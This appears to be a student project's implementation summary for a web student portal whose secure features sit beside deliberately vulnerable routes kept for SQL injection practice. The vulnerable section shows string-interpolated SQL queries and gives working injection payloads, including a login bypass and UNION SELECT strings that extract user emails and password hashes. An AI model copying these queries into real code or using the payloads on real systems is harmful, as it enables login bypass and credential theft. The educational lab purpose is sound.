Deliverable 3: Implementation Summary — Secure & Vulnerable Student Portal

Project Overview

This project is a secure student portal system, enhanced with features for course management, user role-based dashboards, and cybersecurity testing. It includes both **secure implementations** and **deliberately vulnerable routes** for educational purposes, such as **SQL Injection**.

Summary of Features Implemented Since Deliverable 1

✅ 1. Secure Authentication System

- **Secure login with hashed passwords**
- **2FA verification via email**
- **Session-based authentication using `express-session`**
- Password reset flow with token expiry
- Custom SSL certificates for HTTPS support

✅ 2. Role-Based Dashboards

- **Admin Panel**: Manage courses, users, and global search
- **Teacher Panel**:
    - View only their assigned courses ("My Courses")
    - Perform course search across platform

- **Student Panel**:
    - Enroll in available courses
    - View their enrolled courses
    - Perform course search

✅ 3. Course Management Features

- Admin can:
    - Add/update/delete courses
    - Assign teachers via dropdown
    - View number of enrolled students per course
    - Open a student manager per course to add/remove students
- Course tables are interactive and editable inline
- Global search allows search by course name or teacher email

---

⚠️ Cybersecurity Testing Module (Vulnerable Version)

🔓 4. Vulnerable Login Route

`/api/vuln-login` endpoint directly interpolates user input in SQL:

```
SELECT * FROM users WHERE email = '${email}' AND password_hash =
'${password}'
```

Allows classic SQL Injection attack like:

```
' OR 1=1 --
```

-

🔓 5. Vulnerable Search Route

`/api/vuln-courses/search?q=...` is fully injectable:

```
WHERE courses.title LIKE '%${query}%' OR users.email LIKE '%${query}%'
```

Example attack:
`' UNION SELECT 0, email, password_hash, 'attacker@evil.com', 0 FROM users --`

- Enabled **UNION-based SQL injection** to extract user credentials (email & password hash)

🔍 Steps for SQL Injection Discovery:

1. `ORDER BY` tests: `' ORDER BY 1 --` to `' ORDER BY 6 --`
2. `UNION SELECT` to detect visible columns:
   `' UNION SELECT 0, 'a', 'b', 'c', 0 --`
3. Identify which fields are shown in the frontend

Final payload:

sql
CopyEdit
```
' UNION SELECT 0, email, password_hash, 'admin@d.min', 0 FROM users --
```

4.

✅ 6. Separate Routes for Security Testing

- `/vuln-login` renders the vulnerable login screen
- `/vuln-search` renders vulnerable course search interface
- These are **isolated from the secure app routes**, allowing dual testing in the same backend